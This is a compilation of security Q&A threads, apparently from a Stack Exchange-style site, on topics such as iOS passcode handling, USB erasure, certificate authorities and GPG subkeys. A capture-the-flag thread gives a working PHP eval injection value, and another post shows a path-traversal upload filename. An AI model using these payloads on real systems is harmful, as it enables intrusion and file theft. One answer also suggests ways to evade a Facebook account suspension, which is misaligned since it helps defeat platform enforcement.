iOS: intercepting passcode before it reaches secure enclave From what little I read about Apple's "Secure enclave", I understand that it's a coprocessor which encrypts/decrypts data based on the user's passcode.

So here's the scenario: I somehow get root access to the main OS. When the user is prompted for their passcode (before buying an app, for example), what's stopping me from sending the passcode I get from the user to my own server, before sending it to the coprocessor?

My main assumption here is that the UI and I/O parts of the workflow are not handled by the coprocessor.

I somehow get root access

That's a pretty big if.
If that were true and subsequently the device had been unlocked at least once then I wouldn't bother intercepting the passcode, according to the iOS security guide:

When a file is opened, its metadata is decrypted with the file system key, revealing the wrapped per-file key and a notation on which class protects it. The per-file key is unwrapped with the class key, then supplied to the hardware AES engine, which decrypts the file as it is read from flash memory.

As root I can presumably open any file I like and read the unencrypted content.
The only limitation of this is that you couldn't learn the passcode at one time, then use it some time in the future to access some data which wasn't originally present. However, I have doubts about whether you could modify the passcode software to intercept the data and send it to you:

When an iOS device is turned on, its application processor immediately executes code from read-only memory known as the Boot ROM. This immutable code, known as the hardware root of trust, is laid down during chip fabrication, and is implicitly trusted. The Boot ROM code contains the Apple Root CA public key, which is used to verify that the Low-Level Bootloader (LLB) is signed by Apple before allowing it to load. This is the  first step in the chain of trust where each step ensures that the next is signed by Apple. When the LLB finishes its tasks, it verifies and runs the next-stage bootloader, iBoot, which in turn verifies and runs the iOS kernel.
This secure boot chain helps ensure that the lowest levels of software are not tampered with and allows iOS to run only on validated Apple devices.

So you might be able to modify the software temporarily but I doubt you could do it permanently because the system software would be re-verified next boot.
I also strongly suspect that as root you could access some of the derived keys which would render the passcode moot, such as the file system key:

The key that encrypts each file’s metadata, including its class key.
This is kept in Effaceable Storage to facilitate fast wipe, rather
than confidentiality.

"Rather than confidentiality" sounds to me like it could be read as root and subsequently use it to decrypt the whole file system.


Does forwarding a link expose my IP address? So my friend sent me a IP grabbing link. I copied and pasted into playstation messages and sent it to my cousin. I’m wondering if my friend got my IP because I copied and pasted. I didn’t open the link nor click it so am I safe?

I’m wondering if my friend got my IP because I copied and pasted.

No. As I understand it, you relayed a link from your friend to your cousin, without clicking on it. This does not expose your IP address to your friend.
You seem to attach too much security value to your IP address. You expose your IP address all the time to all the sites you visit, so they can send data back to you. If someone has your IP address, this means that they can attempt to connect to your device, but this is not necessarily a security issue.
If you want to burglar a home, it's helpful to know the address of the home you want to rob, but that doesn't mean that house addresses are kept secret. If you want to receive letters, you have no choice but to share your house address.


Does a compromised device always show an alien process running? If I check the processes that are running in the Task Manager and find that only the usual process run every time I restart my PC, can I assume that my device is not compromised?
In other words, does a compromised device always show an alien process running?

No.
Scenario 1:
A rootkit is running, which could hide any malicious processes which are running.
Scenario 2:
One of the 'usual' processes which you referred to could have been compromised, and you might not able to tell the difference.


How to become Intermediate Certificate Authority? I work at government organization. We would like to become Intermediate CA so that we can provide SSL certificates to our branch organizations. We must be able to do code signing, green address bar etc,. I heard that we can be intermediate CA provided that we prove our identity because we are governmental organization. Where do I contact for inquiry? And what document do I need to provide in order to be Intermediate CA?

Thanks in advance.

To become an intermediate CA you must find a CA who is willing to deal with you. But, it is not possible to restrict the domains an intermediate CA can deal with, so any intermediate CA is as trusted as the CA who signed it and can issue any certificates it wants. Therefore you will probably not find any CA which will sell you the intermediate CA you want.

See also https://serverfault.com/questions/605643/getting-an-intermediate-ssl-certificate for a similar question.


How can I detect CVE-2018-0886 vulnerable hosts in my network? I know that the vulnerability is a bit old,but still an important one. Today, by chance I found out that a PC with Windows 7 didn't have the update applied and I'm wondering if there are more.

Most of PCs are on WSUS and all of them on a Windows domain. I was looking for tools to detect the problem (either Linux or Windows) and so far I only found the PoC for the exploit:

Original exploit here.

This is the microsoft page with the patches released and the information on the vulnerability here

Any ideas, pointers?

One solution would be to run a Powershell script that uses psremote to iterate all Windows 7 machines in your network and checks if the Microsoft patch is applied with:

wmic qfe list

It will produce an output like this, which shows installed patches with their associated KB number:

Caption                                     Description      FixComments
http://support.microsoft.com/?kbid=4506998  Update           KB4506998
http://support.microsoft.com/?kbid=4465065  Update           KB4465065

Then you check if the KB number you want to check for is in the list. If it's not, you'll have to push the patch to that machine.
Also, note that Windows 7 is out of support by January 2020 ( about 4 months while writing this post) and should be upgraded.

The above does not really scale so perhaps you should consider setting up a vulnerability scanning tool. There are many commercial options but also some good free alternatives, check them out here: https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools


If I format a USB stick, will the old contents be recoverable? I have read that the "safest" way to make sensitive USB contents un-recoverable is to hammer to pieces the USB stick.

Indeed, a quick search on Google shows up hundreds of ways to "recover usb files" after a deletion or corruption of files.

I do understand that a simple "delete" will leave traces and will make the contents recoverable by some advanced users.

But, why wouldn't a formatting of the USB work?
And, what about software like CCleaner, DiskWipe or Eraser?

Why would it be so "easy" to recover those contents?

Thanks,

What happens when you 'delete' something?

A filesystem looks something like this:

00 START NTFS FILESYSTEM
01 START FILE LIST
02 test.txt 6-8
03 molerat.jpg 9-4207
04 END OF FILE LIST
05
06 Hi Jamie,
07 Could you get two eggs and if they have milk, three?
08 Thanks!
09 qDJFIFXcz5nW2ebBraYv
10 BbUTUNuxhh41TS2DwCfR

So the file list contains which file is where and how large it is. Without such a central table, a computer would have to read the whole drive to find any particular file. Or, without a filesystem identifier (line 0), it would have no idea how to read the file list because it doesn't know how it is structured.

You can't delete something: space from a USB stick doesn't go missing. You can only read and write bits on certain positions. So when we say "deleting", we typically mean "overwrite the data with zeroes".

When you delete a file, it deletes the entry in the file list.

When you format a drive, it deletes the filesystem identifier (line 0).

So the files are all still there, you are just missing a reference to them. If you try to read data without having a file table, you don't know whether line 10 is part of another file, or a new file: you'll have to try and find starting markers (such as JFIF in jpg files) and see if you can read data from there.

To really erase something, you will need software that overwrites the file, not just deletes the file entry. There is lots of software that does this, search for "secure erase" or something. Overwriting a file multiple times is usually not necessary (unless you handle very sensitive data, then you will want to read up on the exact technicalities of the storage medium you're using).

Can data be retrieved from a USB stick after overwriting?

USB sticks and SSDs are very similar in this regard: they are both NAND flash storage, which truly erases a cell's contents when it is told to erase a cell. But each cell can only be written to a certain number of times before it breaks. To use each cell optimally, sticks may do "wear leveling", where it keeps an internal counter of how often each cell has been written to. (SSDs always do this, USB sticks (as far as I know) rarely.) Your secure delete software might try to write 00000 to position 7, but the controller in the device might decide "cell 7 has been written to more than cell 919, so I'll store this new data in 919 instead". Next time the computer asks for the data from position 7, the stick will remember the mapping and return data from cell 919.

Here, too, data might still be present even if your software instructed the stick to overwrite it, though it may be very hard to get it out (you'll probably have to do some soldering to get around the controller and read each cell). TRIM is a command which, when issued to the stick (or SSD), will erase all cells which are marked as empty. So if it has not reused cell 7 yet, then it knows that it is empty (because it knows the data is now stored in cell 919). Whenever it is told to TRIM, it will actually erase the old data. Until it does that, however, the data is still there.


How can this be possible? (malware autoinstall on chrome) I have a website, using an ads service (qadabra). Yesterday some users reported me that the ads service sometimes redirects to a site containing malware.

the url is this:

PLEASE DON'T OPEN IT, IT MAY DAMAGE YOUR PC!!!

http :// download.abocde.com /Flashplay /APX/ IT/ auload.php?installer= Flash_Player_11_for_Other_Browsers &browser_type= KHTML&dualoffer=false

(I've already reported it to google)

This website opens an alert that notifies that my video flash player is outdated. If I presso OK it downloads me an executable file automatically (without asking for confirm) and starts the application (again without confirm), installing some sort of adware.

I have chrome 33.0.1750.146 on windows, but it seems to work on all browsers.

How can this be possible? Is it using some kind of bug?

After some research I found that the download link of the malware app is this:

filesystem:http:// download.abocde.com/temporary/flashplayer.exe

PLEASE DON'T OPEN IT, IT MAY DAMAGE YOUR PC!!!

What exactly is filesystem:?

Given that the malware seems to target flashplayer.exe I'd expect that the malware uses vulnerabilities in Adobe Flash to attack the system rather than a vulnerability in the underlying OS or the browser.

Adobe flash has been shown to be extremely buggy, and it has been widely attacked as a result. Although Adobe have worked hard to fix the bugs there are still plenty of unknown bugs that can be exploited. Also, many people are not updating flash to the latest version, so there are millions of systems out there.

An attacker also has the benefit that flash works on many operating systems, so vulnerability in flash can lead to compromises on Linux and Mac systems as well as Windows systems.


Thumbdrive and its obsolescence? Using USB drives in the corporate environment is always the topic of security because viruses and malware can be introduced maliciously or unintentionally. For corporate environment, I am thinking to implement and enforce something like file sharing, similar to Google Drive or OneDrive, but is only used in the corporate environment for internal staff. E.g. implement a SharePoint file sharing facility and corporate security policy would state that they are not allowed to use USB drives in corporate issued laptops/desktops. At the same time we will turn off USB ports for all corporate issued devices. This should be a good way to thwart virus/malware introduced through USB drives.

However, this idea might not be wise if my senior management are giving presentations overseas and need thumbdrives to pass slides around, for e.g.

Have you had this type of environment? I would like to seek comments.

Theres a couple glitches in that system. While you could effectively get rid of USB malware, you're restricting yourself to the components inside of the machine. High security firms and military installations use usb to connect to CAC cards in order to lock their credentials outside of the machine.

If your company has solutions for all of their security concerns and has no sense of using hardware based authentication then I dont see a problem in it though.


Zero server knowledge encryption for media server I'm making a little media server, just for fun, but I want to know if what I'm thinking makes sense.

The idea is that the files will be stored on the server, encrypted. The file encryption key (henceforth FEK) will also be stored on the server, but it too will be encrypted using a 2nd key, derived from the user's password (henceforth PDK).

It will work like this:

There will be a 2-stage login. First, the user enters their username.
If the user exists, the server will send back two fixed, per-user salts and a  # of iterations.
The client will use the first salt to hash their password with 1 iteration of sha256. They will send this to the server.
The server takes this hashed password and rehashes with a 3rd salt and many iterations (PBKDF2) and uses this to authenticate the user.
Meanwhile, the client uses the 2nd salt and # of iterations that the server previously sent, also with PBKDF2, to create the PDK.
If the user is successfully authenticated, the server sends back the encrypted key (FEK).
The client uses the PDK to decrypt the FEK.
The decrypted FEK is used to encrypt and decrypt all files client-side.

Rationale: The password will be sent over HTTPS, but supposing my server is completely compromised (attacker has SSH access), then they could just wait for someone to login and get the plain-text password. One iteration of sha256 doesn't provide a lot of protection, but this is a sort of worst-case scenario, and I don't want to double the amount of time we're waiting for PBKDF2 (once on client, again on server).

It still has to be rehashed on the server in case the attacker manages to download the database, but maybe doesn't have full/persistent access. This would prevent them from cracking passwords too quickly.

I sent the 2nd salt and # of iterations to the client before they authenticate so that we can do (4) and (5) in parallel. Salt and # iterations don't really need to be secret, do they?

Since the server never sees the plain-text password, it can never decrypt the FEK, which is the most important.

We use different salts to basically get 2 different keys out of 1 password. One is the hashed password for authentication, and the other is the PDK.

I also want to do file-deduplication using hashes. I realize this also exposes some information, so I plan on using the FEK for the file hashes too. Then I can only do per-user file deduplication, but that's good enough.

If the user changes their password, I simply re-encrypt the FEK and send it back to the server for safe-keeping. No need to re-encrypt the files.

Does this all make sense? Any problems in my plan?

Oh, also I'm thinking aes-256-cbc with per-file IVs for the encryption, HMAC-SHA256 for the file hashes, PBKDF2 w/ sha256 and half a second worth of iterations for both the password hash and the PDK.

Since you consider this more of a "code review", or a "security review", than something actually practical, here are my thoughts on the system:

Information Disclosure Vulnerability

Step 2 is an information disclosure vulnerability. An attacker can easily discern which usernames are legit, and which ones are not.

It's better to always do all the steps for authentication, even if the user does not exist. You can see this, for instance, when you try to log into your Google account. Even if the e-Mail address that you specified does not exist, they still ask for your password.

Overly complicated authentication scheme

Your threat model behind the authentication scheme is that you assume that an attacker may eventually gain root access on your system. In this case, yes, the attacker will not gain access to the plaintext password, but instead access to an unsalted SHA-256 hash.

Why? Because the attacker can modify the server to send an empty string as the first salt, causing the client to calculate a hash with an empty salt. It is marginally better than plaintext, but not by a lot.

If this marginal benefit in a very fringe scenario is worth an overly complicated authentication scheme is for you to decide. I recommend against it and to stick with a simpler, more traditional authentication scheme. There is a reason it's considered best practice.

Overly complicated FEK/PDK scheme

Your entire FEK/PDK scheme seems to be much too complicated. It also could be solved much simpler with asymmetric cryptography.

Encrypt the file with a unique key (DEK, Data Encryption Key) and encrypt that key with the public key of the user. The user can then decrypt the DEK with their private key and decrypt the data.

Not a Zero-Knowledge System

Since the server is presumably the one who generates the FEK, the server could theoretically store an unencrypted copy of it to access the data. The goal of a Zero-Knowledge system is to show users that the server has no knowledge of something. Your system requires trust that the server actually does what it claims to do, which is not the same.

Don't use Cipher Block Chaining Mode

AES-CBC has quite a lot of problems, and there is really no reason to use it. AES-GCM is actually faster than AES-CBC + HMAC-SHA1.

Source: Kazoo.ga

All in all, your scheme isn't bad, but it certainly seems a bit over-engineered.


What type of origin verification can I use on a status update sent to me by a remote unit, when the public key could be copied off the unit? I need to set a unit in a location that will send pertinent status updates to a server, possibly using SSL or the server's public key over TLS. Overall, I need the unit to ping changes without too much information like credentials being in the remote unit. I want it protected from man-in-the-middle attacks, but also from say, someone copying the public key onto their machine and sending phony statuses. Is there a way I can back the encryption with a verification that it is in fact coming from the unit - or at least the same gateway?

You can incorporate a special chip called a Trusted Platform Module. TPMs were built to be tamperproof and store cryptographic keys.


How does a Short Authentication String (SAS) mitigate MITM attacks? Reading about Silent Circle, and more specifically Silent Text, I learnt that by implementing SAS, the likelyhood of a MITM attack is greatly reduced.  Could someone please explain how this works?  If there really is someone intercepting your text-based communications, what is to stop them simply modifying the SAS exchange?

https://silentcircle.com/web/faq-silent-text/#6

This question is best answered by reading the Protocol overview published by Silent Circle which describes how it works in much more detail.

In short, the SAS value is derived on each phone by hashing values obtained during the key exchange phase of the protocol. Silent Circle recommends that the SAS value be compared out of band, which makes it very difficult for someone to MITM the conversation.

  Silent Circle recommends that users make use of an alternative method to establish the
  identity of the receiving party and verify that the user has the same SAS value. A phone
  call would be sufﬁcient for this purpose since conﬁdence building cues such as voice
  timbre and manner of speech are present. These cues make it difﬁcult for an adversary
  to convincingly impersonate the other party without being detected. If the two parties are
  physically co-located, they may even be able to compare their short authentication
  strings by placing their devices side-by-side.


Give users a powershell script to run - Secure? Is there a secure and practical way to give a group of users a powershell script to run on their laptops?

The users all have active directory accounts, but their computers are not joined to any domain.

The end goal is to get a basic hardware inventory of each laptop, minimum the amount of required user clicks and user interaction time.  Of course there is hardware assert/inventory software, but it would be ideal to not spend a lot of admin time learning/setting it up, free it always nice.

The powershell script I have (glad to share) collects everything and e-mails it to any address.  It only took 15 minutes to write, but now need to get it sent out to users.

Client laptops are guaranteed Windows 10 fully updated.

Edit:

The email is sent using user credentials. A script command uses a system challenge the request uid/pwd from the user, so they are never part of the script.
One security concern I didnt mention is how to allow them to run the script? Seems you can't download and double-click to run a ps script, is there a way to sign them that would allow this?  I've found a util to compile it to an .exe, which may work but seems to encourage bad habits.
I can't walk around and run it myself because the users are all over the country.

From a security perspective there is no issue, aside from maybe an awareness problem (e.g. users being taught to execute scripts they might not understand). Do note that most computers may not allow the execution of PowerShell scripts by default, it is something that must be enabled.

One thing to note: how does it actually email all of those things back to you? Does it open their Outlook or does it generate a file that they send back to you? You would not want to hardcode credentials in the script.

The best way would actually be to visit each user, and run the script yourself manually.


Preventing facebook from recognizing me First of all I am not a "computer person" and I'm not going to spend a year learning more about computer stuff so I don't have to ask questions here. I've searched for similar questions, and while they provided some advice, much of it was simply too vague for someone like me. I imagine that other people would also benefit from answers to this particular question.
So here's my problem. Working on my Windows 10 HP, I created a new facebook account and shortly after it got suspended. They said I was being untrustworthy or something. The funny thing is I had been suspended by Ebay shortly before. And I realized that it likely was a consequence of my VPN, not so much the fact that I was using a VPN at all, but rather that, since VPN IP’s are apparently often shared, someone else had been doing shady things with the same VPN IP and as such the IP was flagged. (I used Cactus VPN). Neither Ebay nor Facebook have any customer service worthy of the name so there was nothing I could do there.
So anyway, I figured I would create a new facebook account. So I signed out, closed my browser which was Chrome, ran CCleaner to get rid of cookies, changed my VPN address, and tried to get back on Facebook. And yet just right upon arriving on the very first page of facebook, where they normally ask you to sign in, it was still written my account was suspended. I wasn’t given the chance to sign in on another account. So how did they know it was me?
I figured that facebook must have recognized me through Chrome, so I again closed Chrome, ran CCleaner, and changed to yet another VPN address, and this time opened Firefox instead, and at first facebook didn't recognize me! But once I put in my other email address and clicked "create account", again facebook said my account was suspended.
Now, both my addresses were gmail addresses, so I figured facebook must have learned from google that those addresses belonged to the same person, and I figured I needed a more secure email address. So I went ahead and signed up for Protonmail, and also Proton VPN. I used the Pale Moon browser which is supposed to be good for privacy, and the Proton VPN, and went back on to facebook, and still it said  that my account was suspended, though only after trying to create a new account, as was the case in the following attempts as well.
So at this point I figured it had to be something on my device, an HP with windows 10, so I went and got Spybot, and ran it, and it destroyed some malware. And still facebook recognized me!
So then I got Tor, and went through that, plus the usual new VPN address, and it still said I was suspended!
Then I went to the security settings of my computer and switched off all the various relevant things there. And yet still facebook recognized me.
So I created a new local user account on my computer, and went back to facebook, gave a brand new email as well (as I had done each time), but no VPN. And yet facebook still recognized me. And I really don't want to have to change local user for facebook not to recognize me anyway.
I also know I could create a facebook account from another device but I don’t want to have to do that either.
So that's where I'm at. Can anyone provide any further practical suggestions?
I knew facebook was pretty intrusive. But this is well beyond anything I expected. I'm quite appalled.

You could use an android phone and set it up w a new gmail and then use that for fb over a free wifi at a retail location.  You can't just reset the android phones any more without prior password, however.  I soft bricked a cell phone that way sadly because I didn't remember my old pword.


Can an attacker steal information from my HTTPS page by embedding it? If a login page, secured with https/tls redirects to another site (also secured with https/tls) with a onetime use token (expires in a minute and has a nonce) in the querystring, can this token be hijacked if the login page is embedded in an attacker's page?

What mechanisms, if any do browsers use to prevent this?

First of all, it doesn't matter if you are using https or http. TLS only protects your data during transmission. The browser certainly must be able to read the data even if it is in some iframe, therefore whether you are using https or not is irrelevant.

Browsers are protecting your data via Cross window communication policy about which you can read here: https://javascript.info/cross-window-communication or at wikipedia: https://en.wikipedia.org/wiki/Same-origin_policy

In sort, you can't access the iframe data from the parent, unless it is from the same "origin" (exact same domain).

In fact, this protection may cause some problems for which the CORS mechanism was invented: https://en.wikipedia.org/wiki/Cross-origin_resource_sharing


Why is it ok that OS X defaults to ignoring owership on external volumes? I just discovered this fact tonight and I was rather floored by it.  Isn't that a gaping security flaw?  I realize that an external drive is less secure by virtue of the fact that someone could simply take the drive and move it to a different machine.  In looking at this a bit different, it is possible to change OS X default behavior, but this change is actually noted on the internal (boot) drive, not the external drive.  So anybody could still take the drive from one machine, which has this enabled, to another machine, which instead has the default for this drive, and totally bypass permissions.  This is made worse by the fact that even if the drive is encrypted with FileVault, the problem still exists, because the password for the volume could be in the system keychain on the other device! (After all, another user might need to and have a legitimate right to access the files.  But now the OS is letting the user make an end-run around that!)  Oh, and apparently changing the default behavior isn't even protected, so a non-admin user can simply revert to the default and bypass permissions on the same machine!

In reading a bit further trying to get a grasp on what was going on here, I found an article which makes the claim "Drives that store data don’t use permissions and ownership. In fact, they shouldn’t use permissions."  This struck me as rather strange!  Why shouldn't drives that store data use permissions?  What are permissions for if not to protect data from unauthorized users?  Even if there is no malicious intent, there is still the very real concern of accidental damage.

I'm still trying to wrap my head around all this as it seems to go against all the principles of information security that I kind of took as a given.  I am looking for an explanation either why what OS X is doing is okay, or if not, what can I do on OS X to mitigate this potential threat?

The problem is that ownership of a file is expressed by the UID of the owning user (and GID of the group).

The UID is usually generated locally when a user account is created. If you have accounts on different machines you will in many cases have different UIDs. (Unless you have a central user registry for all machines in question)

Thus, if you create a file on one machine, and attach the drive to another you have an account with the same name on, it would in many cases not "belong" to you.

Even if OS X would manage ownership based on user name instead of UID, how can it know that user "tom" on one machine is the same person as "tom" on another?

Admittedly, just ignoring ownership is taking the cowardly way out, but to do it right is not easy at all, especially if, as you say, other may have a legitimate right to access the data.


Weird Registry found Found weird entries in Reg. What is this in my registry?

Seems to be just corruption because the names don't look structured enough in my eyes. Either way you should definitely run a malware check on your system.

HKEY_CURRENT_USER is simply a link to the registry hive of the user that is currently logged on. To find this hive manually, navigate to HKEY_USERS and select the registry with your security identifier (SID) (to find out this go into command prompt and enter wmic useraccount get name,sid - it will be to the right of your username). Once in this registry hive, does it look the same as HKEY_CURRENT_USER? If not then it's most probably corruption. If it is the same then try logging in as a different user and checking HKEY_CURRENT_USER to see if the same, weird registries are there.

Even still, the there are no registries missing in your HKEY_CURRENT_USER that should be there, so I personally would just delete them.


Can a time stamp protect a signature with the obsolete SHA1? I am trying to figure out the scope of SHA1 deprecation for existent signatures. Reading this.An attacker (after 110 years) could present a fake document for a valid signature

I believe this  only affect to integrity between signature and document  and not to signatory identity (except if a SHA1 certificate is used?)

I think adding a timestamp on the signature, even with SHA512, does not avoid the problem. It is needed to re-hash the document and apply a timestamp on signature+new hash

Is that so?

Collisions do not threaten existing signatures.   A collision means the attacker has the ability to create/modify both of the inputs to create colliding hashes.  The attacker obviously can't create or modify an existing document, so instead he or she must find a second pre-image, which is creating a single new input that has the same hash as the first input.  No researcher has made significant progress in breaking even reasonably old hashes like MD5 in this manner.


PHP input directly to functions I am able to directly input with next to no constraints a value into a nest of functions, but I am unsure how I could exploit this. I got this by injecting PHP code into the URL to display the source code, I have to hack this function to capture the flag hidden in a file in the root directory (the same directory as the index.php)

eval("fwrite(fopen('stats/stats.txt','a'),'$fileName');"); ?>

This is the link I have to try and manipulate. Any ideas on what I could do? I don't know the name of the file that holds the flag.

If you control the $fileName parameter then you can alter the following line from

eval("fwrite(fopen('stats/stats.txt','a'),'$fileName');"); ?>

to

eval("fwrite(fopen('stats/stats.txt','a'),'some_file.txt'); echo file_get_contents('challenge_file.txt'); echo('');"); ?>

$fileName is set to some_file.txt'); echo file_get_contents('challenge_file.txt'); echo('

So what happens? The string some_file.txt'); ensures that fwrite is being called correctly (assume that the file exists and has appropriate permissions) and terminates the command with ;.

Then we get the contents of the the challenge file and display them with

echo file_get_contents('challenge_file.txt');

echo(' is expanded to echo(''); so that the resulting php code is syntactically valid.


Security provided through MAC filtering: Wired vs. Wireless Networks My question refers to the following article on Wikipedia: MAC Filtering.

The article states:

  MAC filtering is not effective control in wireless network as attackers can eavesdrop on wireless transmissions. However MAC filtering is more effective in wired networks, since it is more difficult for attackers to identify authorised MACs.

The question is: Why would MAC filtering provide additional security in wired networks (opposed to wireless networks)?

I am aware of the general flaws of this technique, and know about alternatives. I am only interested in the claimed difference in achieved security.

Thanks!

In wireless networks, the signals travel through the air; anybody can listen to them and capture the source MAC address. Therefore, it's easy for an attacker to find out the white-listed MAC addresses and impersonate them.
Think of it this way: A group of friends talking to each others, and they only talk to people they know. When one of them says something, he always says his name in the beginning. So, for example, Jack says "Hey, I'm Jack. Today I blah blah blah". If you happen to pass by them, you can hear one of their names and use it in the beginning of your sentence. They'd think that you're Jack. (Please ignore their ability to see you and recognize your voice)

In wired networks (more specifically, switch-wired networks), the signals travel through the wires from the hosts to the switch; it's much more difficult for an attacker to listen to them an capture the source MAC address.
Think of it this way: The same situation in the previous example, but instead of talking, the friends are sending each others post-it notes directly, hand-to-hand. You, as an outsider, have no idea what they're talking about and their names are, so, theoretically, you cannot pretend to be one of them.

In short, what makes MAC filtering ineffective is an attacker who knows a valid MAC address. By having a valid MAC address, the attacker is able to impersonate it and "convince" the server/router/AP that he is the white-listed device.
In wireless network it's easier to capture and acquire a valid MAC address than it is in wired netwroks. That's why MAC filtering is less effective in wireless networks than wired networks.


Bell-LaPadula model and composite services The Bell-LaPadula model is useful for access control. Can I use this model for access control in composite services?

The security level of each service is exported from WS_SecurityPolicy file.

according to bellow mentioned paper, Bell-Lapadula Model is not compatible with Composite services:

Incompatible Access Control Models: Access control of a composition is dependent on the access control capabilities of the individual services. Where different component services use different access control models, the result could be a violation of any of the models. As a simple example, consider a travel assistance service composition where the POI service applies BellLaPadula (“no read up, no write down” for confidentiality), while the route service applies Biba (“no read down, no write up” for integrity), is liable to result in a confused system with both models partially implemented.

Security and Trustworthiness Threats to Composite Services: Taxonomy, Countermeasures, and Research Directions springer


Path traversal in POST request? Does it make sense to try path traversal on the filename value during a file upload request? Should I encode special characters in the POST request?
For example
POST
[...]

----boundary
Content-Disposition: form-data; name="hello.pdf"; filename="..\..\..\..\license.rtf"

It depends entirely on how your program handles filenames. However, path traversal isn't done with encoding, you actually have to check which directory your file is getting written into.


I use full-disk encryption. Should I passphrase-encrypt my private key(s) anyway? Suppose I want to use GnuPG on a GNU/Linux laptop where I've encrypted all filesystems (except /boot) with LUKS/dm-crypt.  Backups are encrypted client-side and stored on a physically secure server.  Given that my files are already encrypted-at-rest, is it worth the trouble to passphrase-encrypt my private key as GnuPG suggests I do?

If so, describe the exploit(s) that would enable an attacker to steal my private key file but not my passphrase.   How practical are such exploits compared to those that LUKS already defends against (e.g. seizing the laptop from my luggage) and those that would defeat both LUKS and the GnuPG passphrase (e.g. an evil maid or a remote code execution vuln, both of which could get a keylogger installed)?

Local file read vulns occur sometimes. They're most common on servers, especially web servers, but can occur in any software that communicates with a remote machine. That would give a user your keys, but not allow installing a keylogger.

Also, installing a keylogger is a lot less reliable of an attack than just stealing an unprotected key. With a keylogger, the attacker needs to escape notice, needs to have the logger running when you next type in the relevant password, needs to actually catch and recognize the password, needs to have some way for the logged keys to get off your machine and to the attacker... and all of that will take time (until you next enter the password) instead of being usable immediately.


Email in database security vs performance I have to secure a B2B web application data in a MySQL database, currently the user register his data are like that :

Last name (Plain text)
First name (Plain text)
Email (Plain text and indexed)
Password (Hashed with CRYPT_BLOWFISH method)

As user log in with their email and password, I only have to compare stored password with the hashed password given using.

Now to secure these data I would like to do the following :

Last name (encrypted with openssl_encrypt)
First name (encrypted with openssl_encrypt)
Email (Hashed with CRYPT_BLOWFISH method)
Password (Hashed with CRYPT_BLOWFISH method)

With this impossible to index email to retrieve them faster and I must first compare ALL hashed emails to the hashed email given and them compare the password.

Do you think it's the best way to secure the email or there is another way to do that ?

Hashing the emails (with or without salt) will make them virtually (without mounting an attack, almost literally impossible with a good, unique salt per hash) unretrievable in your system. I am not certain this is what you want, since you may have use of the email base for contacting users, resetting passwords, and other tasks?

Encrypting the emails on the other hand keeps them usable by your application. If an attacker gains access to the database, they will only see cyphertexts and not the actual emails. Please note the discussion in the various comments about IV: changing the IV is important to keep your cyphertext collection safe from chosen-cyphertext attack. Consider an attacker creating several accounts, and subsequently accessing the database, they would be able to reconnect plaintext emails and cyphertexts.

I accept your application is B2B, so it may not be as exposed as a B2C one, however we read all sorts of hacking stories these days... I don't think it should be discounted.

You are concerned that you would not be able to search by indexed email anymore -- that is true. You are facing a choice between convenience and security.

Either you go with the (IMO wrong and dangerous) advice to keep a constant IV for all encryptions and index the resulting cyphertexts in the DB,
or you find an alternative means of locating a user account, e.g. a username. If your application does not offer it to the users, consider an update.

Do evaluate the benefit/cost of either options...


Import a subset of private subkeys in GPG Having trouble with GPG, isolating one set of subkeys from another.

In short, I generated a master key, then three subkeys:

Signing
Encrypting
Authorization

I can't seem to isolate the Signing and Encrypting private keys from the Authorization key. I've tried both:

Exporting/Importing only a specific private subkeys
Deleting the one unwanted private subkey

When I import one subkey, gpg does not allow me to import the others, saying that I already have imported a private key that belongs to the master. And when I delete the one unwanted private subkey, all subkeys are deleted. Seemingly no solution works.

What gives?

You're probably dealing with two issues:

GnuPG before version 2.1 cannot merge private keys, and
selecting explicit subkeys to export requires a ! after the key id, for example (given 0xdeadbeef is your subkey ID)

gpg --export-secret-subkeys 0xdeadbeef!

Possible solutions to your problem are:

Use GnuPG 2.1 (then you can merge the exported individual subkeys during import).
Export the required subkeys all at once (given you have one keyring which already contains all subkeys, does not work if these are distributed among multiple keyrings as it would require merging the keys), for example

gpg --export-secret-subkeys 0xdeadbeef! 0x12345678!

Use the gpgsplit command to take apart the OpenPGP message to individual packets, then join them manually in the right order using cat. This is a rather difficult task requiring deeper knowledge of the OpenPGP standard, I'd go for either of the first two solutions.


Why is Huawei's potential spying activity a big issue given that communication protocols are supposed to be secure from MITM attacks? As far as I understand, Huawei is currently accused of supplying hardware to Western countries that could be used for spying by the Chinese government.

But why would this be a big deal? Properly designed communication channels are supposed to be secure from MITM attacks and thus it shouldn't matter if the Chinese government has a back door. And if your communications are prone to MITM attacks, then you have a bigger problem on your hands than foreign meddling.

The device in your hand may have any number of measures which circumvent standard protections against MITM attacks. If you cannot trust the equipment you're touching (or otherwise interacting with), then you have serious a problem.

MITM protections typically assume that both endpoints are trustworthy, and only the intervening network is untrustworthy. When you violate this assumption, there is no effective protection.


Why does the CSR state/province name need to be the same as the CA certificate? This is more a conceptual question than it is about a bug/error I'm encountering. I am learning about PKI (public key infrastructure), and attempting to sign my own certifications by walking through one of the SEED labs. When I attempt to sign a CSR using a self-signed CA certification, I get an error message that

  The stateOrProvinceName field needed to be the same in the CA
  certificate (CA) and the request (Some-State).

The full screenshot of my warning looks like the below:

I understand that in this case, my Certificate Authority is based in California (CA), and the CSR I'm attempting to sign has a default of Some-State - the two need to match.

Why is this the case? I know that we can bypass this restriction by passing in the -policy policy_anything flag, but I'm wondering why this particular restriction exists in the first place - aren't most root CAs going to be signing certificate requests that are from different states?

I'm having trouble understanding why this is a logical restriction to put into place.

This logic is in the configuration (i.e. openssl.cnf) only.
There is likely something like countryName = match in it. It makes sense to have such policy for a company CA where the company is only in a single state (and such policy is often together with organizationName = match). But it does not make sense for a some globally acting CA which issues certificates world wide.
In other words: if such policy should be used depends on the use case and the configuration has to be adjusted to match the expected policy.


Using password manager along with a remembered password Been wanting to transition to a password manager for a while. I have done my reading and research, so I know all the benefits of using a password manager instead of using the same 3 passwords across all sites. One thing that still scares me is "putting all my eggs in one basket". However unlikely, if my password vault is compromised, then essentially all of my accounts are hacked. The probability of that is small (LastPass got hacked, and the attacker brute force opened my vault), but the impact is huge. This has been the main reason holding me back from using a password manager.

What if I used a password manager in conjunction with a password that is only in my head. So the actual password for my account is 2 parts, first from password manager, second coming from my head, concatenated together. The second part would be something that is common to all accounts, but not written down/stored anywhere.

the only downside I can see is that password autofill will not work, but the full password to my accounts are never stored anywhere.

Is this a better scheme? I get the benefit of complex password without reuse, and even a cracked password vault won't reveal my actual passwords.

Your scheme feels inconvenient to the point that IMO is not worth the trouble I would subject myself.

